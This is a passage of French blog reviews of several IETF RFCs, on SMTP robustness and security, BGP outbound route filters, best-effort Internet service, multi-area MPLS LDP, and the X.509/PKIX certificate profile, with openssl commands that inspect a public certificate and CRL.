La section 6 est consacrée aux problèmes et à tout ce qui peut aller mal. Par exemple, la sous-section 6.4 parle des rapports avec les implémentations qui violent la norme. Elles sont très nombreuses (historiquement, Lotus Notes semble avoir la médaille des problèmes). Depuis que le courrier existe, il y a des polémiques entre les « éradicateurs » qui demandent que les serveurs SMTP refusent de compenser ces violations et stoppent tout dialogue avec les logiciels trop bogués et les « conciliateurs » qui, après avoir fait trois génuflexions vers la statue de Jon Postel et cité son « principe de robustesse » (« Be conservative in what you send and liberal in what you accept »), demandent qu'on essaie malgré tout de parler avec les programmes ratés. Le problème est d'autant plus difficile que tous les développeurs ne sont pas égaux : on peut difficilement refuser de parler aux serveurs de messagerie d'AOL, quelles que soient les curieuses pratiques qu'ils utilisent. Même chose avec des logiciels très répandus comme Microsoft Exchange.
Une autre partie du problème est que certains
MUA ont des capacités limitées et qu'on ne peut
pas trop exiger d'eux. Ainsi, les serveurs SMTP ont pris l'habitude de
réparer les messages, en rectifiant par exemple les champs
Date:
invalides (une bogue très fréquente). Ces
réparations devraient, dit le RFC, être limitées aux clients locaux,
que l'on connait, et ne pas s'étendre aux machines d'autres
domaines. Cette approche est cohérente avec le RFC 6409 (qui
sépare la soumission d'un message depuis un MUA
vers le premier MTA, de l'envoi d'un message entre MTA) mais
avec certains logiciels, comme Postfix, elle ne
peut pas être configurée.
Toute aussi brûlante est la question de la sécurité du courrier
électronique, qui fait l'objet de la section 7. D'abord (section 7.1), il y a le
problème de l'authentification : un serveur
SMTP peut toujours prétendre que le courrier vient de
pape@nic.va
, il n'y a aucun moyen de
vérifier. (De très nombreux projets ont visé à traiter ce problème,
voir par exemple les RFC 7208 et RFC 6376 mais il est bien plus compliqué qu'il n'en a l'air,
notamment parce qu'il n'existe pas de système d'identité international
et reconnu.) Le RFC recommande donc d'authentifier ses messages, par
exemple avec le RFC 4880.
La section 7.9, elle, couvre les questions opérationnelles liées à la sécurité. Par exemple, certains fournisseurs de courrier (notamment AOL, qui s'en vante bruyamment), refusent le courrier de certains sites, sur des critères décidés unilatéralement et sans prévenir leurs propres utilisateurs. D'une certaine façon, c'est compréhensible, puisque l'ampleur du spam nécessite des mesures souvent radicales. Mais cela peut, si on poursuit cette logique, mener à un système de courrier qui serait réservé à un oligopole de quelques fournisseurs qui s'acceptent entre eux (le projet du MAAWG).
C'est la même section qui mentionne les relais ouverts, en des termes étonnamment prudents (la pratique générale est de les supprimer). Comme autre exemple de code Python pour faire du SMTP, voici un programme pour tester si un serveur est un relais ouvert.
Ce RFC ne marque guère de changements par rapport à son prédécesseur, le RFC 2821. Le but principal était de le faire avancer sur le chemin des normes, vers son nouveau statut de « Projet de norme ». Les changements ? Eh bien, le principal étant l'extension du « MX implicite » à IPv6.
Ce RFC a été longtemps retardé par une amusante et exaspérante « querelle des exemples » et a même fait l'objet d'un appel
contre l'obstruction de l'IESG. Celle-ci
estimait en effet que le RFC aurait dû utiliser, pour ses exemples,
uniquement les noms de domaines du RFC 2606,
malgré le fait que le RFC 2821 aie déjà utilisé
des noms comme isi.edu
(l'université de
Jon Postel) ou
generic.com
depuis des années.
Des propositions d'architectures radicalement nouvelles, en général fondées sur un modèle où le récepteur « tire », comme avec Atom, plutôt que sur le modèle traditionnel du courrier où l'expéditeur « pousse » ont déjà été faites, par exemple par Dan Bernstein ou par Wietse Venema mais n'ont jamais débouché sur des protocoles finalisés, et encore moins sur des implémentations. Ces propositions visent en général à traiter le problème du spam en forçant l'expéditeur à garder le message chez lui, jusqu'au moment de la récupération par le destinataire. Cela résoudrait la question du stockage du spam, mais pas du tout celle de son traitement puisqu'il faut bien notifier le destinataire qu'il a un message, et qu'il doit bien le récupérer pour décider si c'est du spam ou pas.
Date de publication du RFC : Août 2008
Auteur(s) du RFC : E. Chen (Cisco Systems), Y. Rekhter (Juniper Networks)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF idr
Première rédaction de cet article le 24 août 2008
Quand deux routeurs BGP échangent des routes, il est fréquent que certaines soient refusées par le routeur récepteur, par exemple parce qu'ils les estime invalides ou parce qu'elles ne correspondent pas à ses politiques de routage (section 2 du RFC). C'est donc un gaspillage que de les envoyer et ce nouveau RFC permet au routeur récepteur de signaler à l'avance à son pair BGP quelles routes il n'acceptera pas.
BGP, normalisé dans le RFC 4271 est le protocole d'échange de routes dans l'Internet. Pratiqué surtout entre organisations distinctes, il permet de faire du routage politique, cest-à-dire de rejeter certaines routes en fonction de la politique de chaque organisation. Pour cela, les routeurs BGP mettent typiquement en œuvre des filtres sur les routes reçues. Avec notre RFC, ces filtres peuvent être transmis au routeur pair sous le nom d'ORF (Outbound Route Filters) que le pair appliquera sur le jeu de routes qu'il allait annoncer, supprimant de ce jeu les routes qui ne conviennent pas à son pair.
La section 3 détaille ce qu'est un ORF. C'est un tuple composé de :
La section 4 explique ensuite comment encoder les ORF et les transmettre dans une session BGP. Les sections 5 et 6 précisent que le routeur qui gère les ORF doit l'annoncer (cf. RFC 5492) par la capacité BGP n° 3 Outbound Route Filtering Capability.
Date de publication du RFC : Juillet 2008
Auteur(s) du RFC : S. Floyd, M. Allman (ICIR/ICSI)
Pour information
Réalisé dans le cadre du groupe de travail IETF tsvwg
Première rédaction de cet article le 25 juillet 2008
L'Internet a toujours fonctionné sur le principe du « fais au mieux » (best effort), c'est-à-dire que les applications qui l'utilisent n'ont aucune garantie sur les caractéristiques quantitatives du réseau qui sera à leur disposition. Le débit, par exemple, ne peut pas être connu à l'avance ; lorsqu'on commence un transfert de fichiers, on ne sait pas quand il se terminera. Ce principe a assuré le succès de l'Internet, par rapport à des réseaux concurrents qui se vantaient de leurs « garanties de qualité de service » et qui, en conséquence, offraient un service moyen nettement inférieur. Mais il est contesté par certains qui voudraient la possibilité de garantir une « qualité de service » (QoS pour « Quality of Service ») dans le réseau. Ce nouveau RFC ne tranche pas sur la question de savoir si la QoS est une bonne idée ou pas, il rappelle uniquement l'intérêt qu'il y a à disposer d'un mécanisme équivalent au « fais au mieux », une offre très efficace et qui correspond à beaucoup d'usages.
À l'époque où l'Internet avait du mal à s'imposer face aux réseaux prônés par les gens des télécommunications, appuyés par les gouvernements, un des reproches qui lui étaient le plus souvent fait était de ne pas garantir de « qualité de service » (QoS). Avant un appel téléphonique avec SIP, en effet, on ne peut pas savoir quel sera la capacité disponible, quel sera le RTT ou quelle sera la gigue. On peut les mesurer mais rien ne garantit que ces grandeurs resteront constantes pendant l'appel. Cela peut gêner certaines applications. C'est pour cela que des mécanismes visant à gérer la QoS ont été développés sur Internet comme intserv (RFC 1633) ou bien diffserv (RFC 2475). En pratique, ces mécanismes ont été très peu déployés, ce qui relativise la soi-disant demande de QoS. En général, il est moins coûteux d'augmenter le débit des tuyaux que de déployer ces mécanismes complexes. Mais certains vont plus loin et réclament le déploiement généralisé de QoS dans Internet, au point de ne plus garder de service « fais au mieux ». C'est là qu'intervient notre RFC 5290.
Sa thèse de base est que le socle de l'Internet doit rester un service « fais au mieux » (quitte à ajouter quelques mécanismes de QoS par dessus). Ce service est défini comme « tout ce qui ne bénéficie pas d'un service différencié » (section 1). Un moyen simple d'assurer ce service est l'« équité entre les flux » (flow-rate fairness).
La section 2 expose les propriétés de ce service simple best effort. En 2.1, les auteurs listent les forces de ce service :
Évidemment, tout n'est jamais uniformément rose. Le service « fais au mieux » a aussi des limites, que détaille la section 2.2. D'abord, certains utilisateurs veulent de la QoS et sont prêts à payer pour cela (section 2.2.1). Il ne faut pas les en priver mais cette demande soulève des questions très diverses. Par exemple, l'ensemble des ressources réservées pour les services « à garantie » ne doit pas mener à l'épuisement des ressources pour le service de base, autrement les riches utilisateurs pourraient s'approprier tout le réseau pour eux. Il existe une abondante littérature (le RFC donne quelques références) sur l'économie de l'Internet, la légitimité et l'efficacité de faire payer de manière différenciée, etc. Ensuite, les services avec QoS peuvent interférer avec la « transparence du réseau ». En effet, il n'est pas difficile d'imaginer des cas où, pour certaines applications, celui qui ne paierait pas le surcoût de la QoS serait, en pratique, exclu du réseau. Mais le débat est loin d'être clos sur la question de savoir quel niveau de QoS reste compatible avec cette transparence du réseau. (Le RFC 2990 donne des éléments de départ sur l'architecture de QoS.)
Une autre faiblesse du « fais au mieux » est sa sensibilité aux incivilités (section 2.2.2). Si un certain nombre d'utilisateurs ne jouent pas le jeu, le réseau peut s'effondrer puisqu'il n'y a pas de limites à l'allocation de ressources. Dans cette optique, les services différenciés ne seraient pas tant un moyen de « donner plus à ceux qui paient plus » qu'un mécanisme de contrôle de la congestion, même en présence d'implémentations « agressives » de TCP/IP, qui ne respecteraient pas les règles énoncées dans le RFC 2914.
Enfin, la dernière faiblesse (section 2.2.3) est le cas de « pics » de trafic brutaux (suite à une DoS ou tout simplement en cas de grand succès d'un site Web), pour lesquels le mécanisme « fais au mieux » mène en général à ce que personne ne soit servi...
Après ce tour des forces et faiblesses du mécanisme « fais au mieux », le RFC aborde, dans la section 3, le concept d'« équité entre les flux ». L'idée est que cette équité ne serait certes pas parfaite, mais assurerait un service « fais au mieux » qui soit convenable pour tout le monde. Notre RFC paraphrase Winston Churchill en disant que l'équité entre les flux est le plus mauvais des services, à l'exception de tous les autres.
En effet (section 3.1), cette équité serait relativement facile à mettre en œuvre (pour TCP, qui forme la grande majorité du trafic actuel, elle est déjà implémentée dans ses algorithmes), elle ne nécessite pas de calculs de facturation complexes, elle marche aujourd'hui et elle satisfait une notion sommaire, mais raisonnable, de la « justice » puisque chaque flot aura une part de la capacité du réseau.
Elle a par contre des limitations (section 3.2). Elle est difficile à faire respecter (section 3.2.1). En effet, dans l'Internet actuel, son respect dépend des machines aux extrémités du réseau, machines qui sont sous le contrôle d'un utilisateur qui peut être un méchant égoïste. Changer ce système pour que les routeurs fassent le contrôle serait un changement considérable d'architecture. Et, après tout, l'Internet s'en est passé jusqu'à présent.
Une deuxième question est qu'il n'existe pas de définition claire et consensuelle de ce qu'est l'équité entre les flux. Tout le monde est pour l'équité, c'est lorsqu'on essaie de la définir que les ennuis commencent (section 3.2.2). D'abord, « flux » (flow) n'est pas bien défini (cf. RFC 2309, RFC 2914, RFC 3124 et bien d'autres). Est-ce par connexion ? (Un concept qui n'existe pas pour tous les protocoles, par exemple UDP.) Ou bien pour tout trafic entre deux machines ? Ou bien, à une granularité intermédiaire, faut-il mettre toutes les connexions TCP démarrées par le même navigateur Web ou bien le même client BitTorrent dans le même flux ? Et l'équité doit-elle se mesurer en nombre de paquets ou en octets/seconde ? (Les protocoles interactifs comme SSH préféreraient certainement la première solution.) Et que faire avec les protocoles où le trafic tend à être très irrégulier ? Faut-il une équité « en moyenne » ? Si oui, sur quelle période ? Bref, si l'objectif politique est clair, le traduire en chiffres précis semble très difficile.
La section 4 du RFC 5290 s'attaque à un problème sur lesquels bien des protocoles se sont brisés : le déploiement. Pour reprendre l'exemple traditionnel du fax, celui qui a acheté le premier fax a fait preuve d'une confiance aveugle dans le succès de la technologie. Son fax ne lui servait à rien. Ce n'est qu'une fois qu'un nombre suffisant d'acheteurs s'en sont procuré un que son achat avait un sens. De même, une bonne partie des difficultés d'IPv6 s'explique par cet effet « œuf et poule ». Les premiers à déployer IPv6 n'ont aucun intérêt à le faire (ils ne pourront communiquer avec personne). Résultat, le déploiement ne se fait pas.
Et pour la QoS ? C'est le même problème : déployer un réel système de QoS sur l'Internet nécessiterait des actions par un certain nombre d'acteurs différents et ceux-ci ne voient pas de motivation à le faire. Voici pourquoi presque tous les déploiements actuels de QoS sont restés limités à une seule organisation.
Enfin, la section 5 décrit le travail qui a été fait, à l'IETF et ailleurs, sur ce problème. L'histoire de la qualité de service sur l'Internet est vieille, on trouve déjà une discussion dans le RFC 896, mais aussi, plus tard, dans le RFC 2212 et RFC 2475. Le RFC 2309 traite du cas où certains flux ne jouent pas le jeu et tentent d'occuper toute la capacité disponible et le RFC 3714 de la notion d'équité. La référence reste le RFC 2914 sur les principes de contrôle de congestion sur l'Internet.
La section 5.2 contient plusieurs autres références sur le travail fait à l'extérieur de l'IETF comme les articles Flow Rate Fairness: Dismantling a Religion ou Pricing the Internet.
Date de publication du RFC : Juillet 2008
Auteur(s) du RFC : B. Decraene (France Telecom), JL. Le Roux (France Telecom), I. Meinei (Juniper)
Chemin des normes
Première rédaction de cet article le 27 juillet 2008
Le protocole MPLS de commutation de paquets selon une étiquette (label) utilise souvent LDP comme mécanisme d'attribution des étiquettes. LDP ne fonctionnait bien qu'à l'intérieur d'une même zone du système autonome et ce nouveau RFC étend LDP pour le cas où on dispose de plusieurs zones.
La section 1 du RFC explique la motivation pour cette modification : un certain nombre d'opérateurs ont tiré profit du caractère hiérarchique de protocoles de routage internes comme OSPF ou IS-IS pour créer plusieurs zones (areas) dans leur système autonome. Ce découpage en zones (section 3 du RFC 2328) permet de gérer des très grands systèmes autonomes, en évitant que chaque routeur connaisse tout le réseau.
Mais, sur les réseaux MPLS utilisant LDP, pour qu'un routeur qui reçoit une correspondance entre une étiquette MPLS et une FEC (Forwarding Equivalent Class, section 2.1 du RFC 3031) la prenne en compte, la norme LDP (section 3.5.7.1 du RFC 5036) impose que la table de routage du routeur possède une entrée qui corresponde exactement cette FEC. Par exemple pour monter un tunnel MPLS, le routeur MPLS doit avoir dans sa table une route avec une correspondance exacte avec le point de sortie du tunnel, c'est-à-dire en IPv4 le préfixe en /32 ; avoir une route en /24 qui couvrirait ce /32 ne suffit pas.
En pratique, sur les réseaux MPLS utilisant LDP et qui ont un IGP multi-zones, monter des tunnels vers ou depuis des routeurs appartenant à d'autres zones nécessitait donc des bricolages comme l'annonce des adresses (préfixes en /32 ou bien /128 en IPv6) dans tous les sens entre tout plein de zones en passant aussi par la zone qui sert d'épine dorsale, ce qui est très lourd à gérer et rend l'intérêt des zones douteux. Elles avaient justement été conçues pour éviter de transporter des détails internes à une zone, en agrégeant les annonces de préfixes...
La section 4 du RFC détaille le problème, notamment dans le cas de tunnels (RFC 4364, RFC 4761 et RFC 4762). La section 6 fournit des exemples, avec de jolis dessins.
La section 5 présente la solution. Notre RFC 5283 permet donc désormais de faire accepter à LDP des associations étiquette/FEC pour lesquelles le LSR (le routeur MPLS) aurait des routes moins spécifiques, par exemple parce qu'elles ont été agrégées. C'est donc simplement l'application de la traditionnelle règle IP de la « meilleure correspondance » (longest match) à la sélection d'une étiquette MPLS.
L'ancienne règle continue à s'appliquer par défaut (le RFC impose que la nouvelle extension ne soit pas activée automatiquement). En effet, si on arrête de publier les préfixes les plus spécifiques, il faut que tous les routeurs MPLS de la zone acceptent l'extension. Elle est donc déployable de manière progressive (section 7.1) mais à condition de faire attention.
Merci à Sarah Tharan pour ses explications détaillées sur cette extension.
Date de publication du RFC : Mai 2008
Auteur(s) du RFC : D. Cooper, S. Santesson, S. Farrell, S. Boeyen, R. Housley, W. Polk
Chemin des normes
Première rédaction de cet article le 15 septembre 2013
L'une des rares normes de l'UIT encore utilisées sur l'Internet est X.509, une norme décrivant un format de certificats électroniques pour prouver son identité. X.509, comme toutes les normes UIT, est très complexe et probablement impossible à mettre en œuvre correctement et complètement. C'est pourquoi les applications sur l'Internet utilisent en général un sous-ensemble de X.509, décrit par ce RFC.
Ce sous-ensemble de X.509 (ou, plus exactement, de la version 3 de X.509) est souvent nommé PKIX, pour « Public-Key Infrastructure using X.509 ». C'est lui qui est derrière toutes les utilisations des certificats X.509 qu'on voit sur l'Internet, par exemple le fameux petit cadenas de HTTPS. La section 2 décrit les motivations pour avoir créé ce sous-ensemble. Il s'agit notamment de faciliter l'usage des certificats en mettant l'accent sur l'interopérabilité des programmes (n'importe quel certificat PKIX doit être compris par n'importe quel programme PKIX, ce qui n'est pas du tout garanti avec le X.509 original, où deux mises en œuvre de X.509 peuvent être parfaitement conformes au standard... et néanmoins incapables d'interopérer) et le déterminisme (savoir comment le certificat va être compris, ce qui est difficile avec le X.509 original, souvent trop vague). Tous les utilisateurs de X.509 (pas seulement l'IETF avec son PKIX) doivent donc définir un sous-ensemble de X.509, le profile (dans la langue de Whitfield Diffie). L'importance de cette notion de sous-ensemble est bien résumée par le RFC : « unbounded choices greatly complicate the software ». Au contraire, l'UIT travaille autour du principe « satisfaire tout le monde » et toute demande est donc prise en compte dans la norme, la rendant ainsi trop riche pour être programmée correctement.
Le format de certificat X.509 en est à sa troisième version, la première ayant été publiée par l'UIT et l'ISO en 1988. Plusieurs protocoles Internet se servent de ce format, le premier ayant été le projet PEM du RFC 1422 en 1993. C'est entre autres l'expérience de ce projet qui avait mené aux versions 2, puis 3 de X.509.
Ce RFC est uniquement une norme technique : il ne donne aucune règle sur les questions juridiques ou politiques, il ne dit pas, par exemple, comment une AC doit vérifier une demande de certificat, ni ce que doit faire un navigateur Web lorsqu'un certificat est invalide pour une raison ou pour une autre.
La section 3 pose l'architecture et les rôles de la PKIX, notamment les notions d'utilisateurs (end entity), qui demandent des certificats, et d'Autorités de Certification, qui les signent.
En 3.1, elle explique ce qu'est un certificat : lorsqu'on utilise la cryptographie asymétrique, on utilise la clé publique de son correspondant pour chiffrer les messages qu'on lui envoie. Mais comment savoir que c'est bien sa clé publique à lui, et pas celle d'un méchant qui écoute les communications, et pourra les déchiffrer si on utilise la clé qu'il nous a fournie ? Un certificat est l'affirmation, signée par une Autorité de Certification, qu'une clé publique est bien celle d'un utilisateur donné (subject, dans le jargon X.509). On nomme cette affirmation le lien (binding) entre la clé et le sujet.
Le certificat contient aussi diverses informations comme sa date
d'expiration. Un certificat est donc juste une structure de données
dont les champs sont la clé publique, la signature de l'AC, la date
d'expiration, etc. Rendons cela plus concret avec un exemple sur un vrai certificat
X.509, celui du site https://app.capitainetrain.com/
. Pour simplifier les
operations ultérieures, commençons par copier le certificat en local,
avec openssl :
% openssl s_client -connect app.capitainetrain.com:443 > capitainetrain.pem < /dev/null depth=1 C = US, O = "GeoTrust, Inc.", CN = RapidSSL CA verify error:num=20:unable to get local issuer certificate verify return:0 DONE
On aurait aussi pu utiliser GnuTLS pour récupérer le certificat :
% gnutls-cli --print-cert app.capitainetrain.com < /dev/null > capitainetrain.pem
On peut maintenant regarder le certificat et y découvrir les informations mentionnées plus haut :
% openssl x509 -text -in capitainetrain.pem Certificate: Data: Version: 3 (0x2) Serial Number: 555296 (0x87920) Signature Algorithm: sha1WithRSAEncryption Issuer: C=US, O=GeoTrust, Inc., CN=RapidSSL CA Validity Not Before: Sep 30 02:22:13 2012 GMT Not After : Oct 2 09:04:29 2015 GMT Subject: serialNumber=HjJWka0qtZ2MV9EYsbjRf51Mbcd/LYOQ, OU=GT04045327, OU=See www.rapidssl.com/resources/cps (c)12, OU=Domain Control Validated - RapidSSL(R), CN=app.capitainetrain.com Subject Public Key Info: Public Key Algorithm: rsaEncryption Public-Key: (2048 bit) Modulus: 00:cd:af:c5:f8:ac:db:3b:10:fc:af:05:2f:ec:e5: ... X509v3 CRL Distribution Points: Full Name: URI:http://rapidssl-crl.geotrust.com/crls/rapidssl.crl ... Signature Algorithm: sha1WithRSAEncryption 95:d4:fe:88:bc:9c:f8:b7:d5:72:52:c1:c8:98:04:ee:82:f7: ...
On y trouve le numéro de série du certificat, 555296, le nom de l'AC
émettrice (C=US, O=GeoTrust, Inc., CN=RapidSSL
CA
, à savoir RapidSSL, une AC
low-cost), la période de validité (jusqu'au 2
octobre 2015), le titulaire
(app.capitainetrain.com
), la clé publique,
l'endroit où récupérer les CRL, et le
tout avec la signature de l'AC.
Il y a aussi d'autres informations qui ne sont pas affichées par
défaut par openssl. Par exemple, les usages permis (merci à Laurent
Frigault pour son aide à ce sujet). Il faut utiliser l'option
-purpose
:
% openssl x509 -text -purpose -in capitainetrain.pem ... Certificate purposes: SSL client : Yes SSL client CA : No SSL server : Yes SSL server CA : No ...
Ce certificat peut être utilisé pour un serveur TLS (anciennement nommé SSL), l'usage le plus courant des certificats, sur l'Internet.
Dans les normes, cette structure de données est décrite en ASN.1 et encodée en DER, suivant la norme X.690.
La section 4 de notre RFC décrit rigoureusement le sous-ensemble de X.509 utilisé dans l'Internet. Voici une partie de cette description d'un certificat, montrant les champs les plus importants :
Certificate ::= SEQUENCE { tbsCertificate TBSCertificate, signatureAlgorithm AlgorithmIdentifier, signatureValue BIT STRING } TBSCertificate ::= SEQUENCE { version [0] EXPLICIT Version DEFAULT v1, serialNumber CertificateSerialNumber, issuer Name, validity Validity, subject Name, subjectPublicKeyInfo SubjectPublicKeyInfo, ... }
Ici, signatureValue
est la signature apposée par
l'AC. Elle s'applique à un certificat, le
tbsCertificate
. Celui-ci a un numéro de série
unique, un émetteur (l'AC, identifiée par un nom complet - Distinguished Name ou DN), une période de validité (entre telle date
et telle date), un titulaire (subject), la clé
publique dudit titulaire, etc. Vous pouvez voir tous ces champs dans
l'exemple de app.capitainetrain.com
montré plus haut.
Comme toujours en bonne cryptographie, plusieurs algorithmes de signature sont possibles, afin de faire face aux progrès de la cryptanalyse. Les RFC 3279, RFC 4055 et RFC 4491 donnent la liste des algorithmes standard dont bien sûr le fameux RSA. Évidemment, il faut utiliser des algorithmes de cryptographie forts, à la sécurité connue et éprouvée. Les AC ne devraient pas, par exemple, accepter de signer des certificats utilisant des algorithmes aux faiblesses identifiées (comme plusieurs l'avaient fait avec le vieil MD5).
Comment identifier un titulaire (champ subject
) ? C'est un des points délicats de
X.509, qui permet une grande variété de noms. Dans l'Internet, le plus
fréquent est d'utiliser un nom de domaine, soit comme
spécifié par le RFC 4519 (section 2.4), soit en utilisant l'extension
X.509 « noms alternatifs » (section 4.2.1.6 de notre RFC). Cette
dernière extension permet aussi d'utiliser comme identificateur une
adresse IP, un URI,
etc. La grande variété des types de « noms » dans X.509, et la
difficulté de la comparaison de ces noms créent d'ailleurs pas mal de
risques de sécurité, et compliquent la vie du programmeur.
L'extension « noms alternatifs » sert aussi si, derrière une même
adresse IP, on a plusieurs
sites. On voit ainsi quatre noms possibles pour
www.digicert.com
:
% openssl x509 -text -in digicert.pem ... X509v3 Subject Alternative Name: DNS:www.digicert.com, DNS:digicert.com, DNS:content.digicert.com, DNS:www.origin.digicert.com
Ce champ subject
est évidemment d'une
importance vitale. Le but de la signature du certificat est
précisément de lier une clé publique à un identificateur
(subject). L'AC
doit donc vérifier le contenu de ce champ. Par
exemple, CAcert n'inclut dans les
certificats signés que les champs que cette AC a vérifié. Pour un nom
de domaine, CAcert teste qu'il se termine par un des noms dont
l'utilisateur a prouvé la possession (preuve typiquement apportée en
répondant à un courrier envoyé au titulaire du
domaine).
Les noms (subjects) ne sont pas forcément
limités à l'ASCII, ils peuvent inclure de
l'Unicode et la section 7 de ce RFC décrit les règles
spécifiques à suivre dans ce cas. Notamment, les noms doivent être
canonicalisés en suivant le RFC 4518. Pour les
noms de domaine, le type utilisé par X.509,
IA5String
, ne permet hélas que l'ASCII et les
IDN devront donc être représentés sous forme
d'un A-label (www.xn--potamochre-66a.fr
au lieu de
www.potamochère.fr
, par exemple). Même chose pour
les IRI du RFC 3987 qui
devront être convertis en URI. (Notez que les règles sur
l'internationalisation ont été légèrement changées par la suite avec
le RFC 9549.)
Une possibilité peu connue de X.509 est l'extension « Name
constraints » (section 4.2.1.10) qui permet de signer des certificats d'AC
avec une limite : l'AC qui a ainsi reçu une délégation ne peut signer
que des certificats obéissant à cette contrainte (si le titulaire du
certificat est un URI ou une adresse de courrier, la contrainte s'applique au nom de domaine
compris dans l'URI ou l'adresse). On peut ainsi
déléguer à une AC qui ne pourra signer que si le nom de domaine du
titulaire se termine en
.fr
, par exemple. Cela
résout une faille de sécurité importante de X.509 (celle qui a motivé
le RFC 6698) : le fait que
n'importe quelle AC puisse signer un nom de n'importe quel domaine,
que le titulaire de ce nom de domaine soit le client de l'AC ou
pas. Mais, en pratique, cette extension semble peu utilisée.
Enfin, la section 6 du RFC décrit le mécanisme de validation d'un certificat, par exemple lorsqu'un navigateur Web se connecte en HTTPS à un serveur et reçoit un certificat prouvant que ce serveur est bien celui demandé.
La section 8 étudie en détails toutes les questions de sécurité liées à X.509. D'abord, comme tous les éléments décrits dans ce RFC (les certificats et les CRL) sont signés, leur distribution ne nécessite pas de précautions particulières : à l'arrivée, et quel que soit le mécanisme de transport utilisé, le destinataire pourra vérifier l'intégrité de ces éléments.
Plus délicate est la question des procédures que suit l'AC avant de signer un certificat : c'est là que se situent l'essentiel des faiblesses de X.509. Par exemple, est-ce qu'une AC doit vérifier que le nom de domaine n'est pas proche d'un autre ?
Le RFC oublie, semble t-il, de dire que prendre soin de choisir une
« bonne » AC n'est pas très utile puisque n'importe quelle AC de
confiance peut
émettre un certificat pour n'importe quel nom. Si
Google est client de GeoTrust, qui signe donc les
certificats de gmail.com
, rien n'empêche
DigiNotar, avec qui Google n'a aucun lien,
de signer aussi des certificats pour
gmail.com
. Le point critique n'est donc pas l'AC
qu'on choisit pour signer ses certificats, mais les AC auxquelles nos
clients choisissent de faire confiance. Qu'une seule de ces AC
trahisse ou soit piratée et tout le système s'écroule. Or, justement,
comment sont choisies ces AC de confiance ? Très peu d'utilisateurs
examinent la liste (le « magasin ») d'AC de leur logiciel. Ils font
une confiance aveugle à l'éditeur du logiciel, qui décide selon ses
propres critères, d'inclure telle ou telle AC. Il y a donc des AC qui
ne sont que dans certains navigateurs Web (rendant les certificats
signés par ces AC difficiles à utiliser). Pour limiter ces
difficultés, les éditeurs de navigateurs Web incluent
beaucoup d'AC (des centaines, dans un navigateur
typique), rendant difficile de valider leur sécurité. Petit exercice :
cherchez dans votre navigateur la liste des AC acceptées (sur
Firefox, Edit -> Preferences, puis
Advanced puis View certificates)
et
lisez-la. Vous découvrirez plein d'organisations inconnues et lointaines.
Au cas où il faille ajouter ou retirer une AC, on ne peut pas demander à l'utilisateur de le faire. Il faut donc une mise à jour du logiciel, ou bien une distribution, par un autre canal, d'une liste d'AC (distribution sécurisée, par exemple, par une signature avec la clé privée de l'éditeur du logiciel).
L'AC doit évidemment gérer avec le plus grand soin la clé privée de ses propres certificats. Si un méchant copie cette clé, il pourra se faire passer pour l'AC et émettre des faux certificats. À une moins échelle, c'est aussi vrai pour l'utilisateur : si sa clé privée est compromise, il sera possible de se faire passer pour lui, et la signature de la clé publique par l'AC ne changera rien.
Notons que le RFC ne semble pas parler du cas où la clé privée de l'AC est bien gardée et inaccessible mais où le système d'information de l'AC a été piraté, permettant à l'attaquant de faire générer des « vrais/faux certificats ». C'est pourtant la menace principale, comme l'avaient illustrés les cas de Comodo et DigiNotar.
Cela nous amène à un autre point faible de X.509, la révocation. Des clés privées vont forcément tôt ou tard être copiées illégalement par un attaquant, qui va pouvoir alors se faire passer pour le titulaire du certificat. Si une clé privée est copiée à l'extérieur, ou qu'on soupçonne sérieusement qu'elle est copiée, comment empêcher l'attaquant de jouir des fruits de son forfait ? Ou, sans chercher un cas aussi dramatique, on peut aussi imaginer qu'un employé qui avait accès à la clé privée quitte l'organisation et qu'on souhaite, par précaution, qu'il ne puisse pas utiliser cette connaissance. Une solution est d'attendre l'expiration (rappelez-vous que les certificats X.509 ont une période de validité, entre deux dates, celle de début de validité et celle d'expiration). Mais cela peut prendre longtemps. Il faut donc émettre tout de suite une révocation, une annulation du certificat, signée par l'AC. X.509 permet aux AC d'émettre des CRL (Certificate Revocation List), qui sont des listes de certificats révoqués, signées par l'AC qui avait émis le certificat original. Étant signées, les CRL n'ont même pas besoin (comme les certificats, d'ailleurs) d'être distribuées par un canal sûr.
Le problème est de distribuer celles-ci efficacement. Comme l'ont montré plusieurs études, la révocation marche mal car il est difficile de s'assurer que tous les clients ont reçu l'information. Il y a plusieurs raisons à cela, le RFC n'en note qu'une : la révocation n'est pas temps réel. Entre le moment où la CRL est émise et celui où elle est traitée par tous les consommateurs, un certain temps peut s'écouler. (Une solution possible est le protocole OCSP, dans le RFC 6960.)
Voici une CRL de RapidSSL (celle annoncée dans le certificat de
app.capitainetrain.com
vu plus haut) :
% openssl crl -text -inform DER -in rapidssl.crl Certificate Revocation List (CRL): Version 2 (0x1) Signature Algorithm: sha1WithRSAEncryption Issuer: /C=US/O=GeoTrust, Inc./CN=RapidSSL CA Last Update: Sep 13 12:03:00 2013 GMT Next Update: Sep 23 12:03:00 2013 GMT ... Serial Number: 070B6B Revocation Date: Aug 27 10:56:39 2013 GMT ...
On voit ainsi que le certificat de numéro de série 461675 (070B6B en hexadécimal) a été révoqué le 27 août 2013. Les raisons de la révocation sont également indiquées par certaines AC. Dans ce cas, on verrait :
Serial Number: 18F... Revocation Date: Sep 3 07:58:20 2012 GMT CRL entry extensions: X509v3 CRL Reason Code: Key Compromise Serial Number: 5FD... Revocation Date: Aug 12 12:59:20 2012 GMT CRL entry extensions: X509v3 CRL Reason Code: Key Compromise ...
Enfin, trois annexes du RFC seront particulièrement utiles pour les programmeurs. Ceux-ci doivent d'abord noter que X.509 est très complexe et très difficile à implémenter. La première lecture recommandée, pour avoir une idée du travail, est le « X.509 Style Guide » de Peter Gutmann. L'annexe A liste les structures de données de X.509, en syntaxe ASN.1. On y trouve même des héritages d'un lointain passé comme :
poste-restante-address INTEGER ::= 19
L'annexe B donne des conseils aux programmeurs sur la mise en œuvre de X.509. L'annexe C donne des exemples de certificats et de CRL. Le programme dumpasn1 est utilisé pour les afficher. Attention, cet outil ne lit que le DER, pas le PEM. Si on a un certificat au format PEM, il faut d'abord le convertir :
% openssl x509 -inform pem -outform der -in capitainetrain.pem -out capitainetrain.der
Et on peut alors l'analyser :
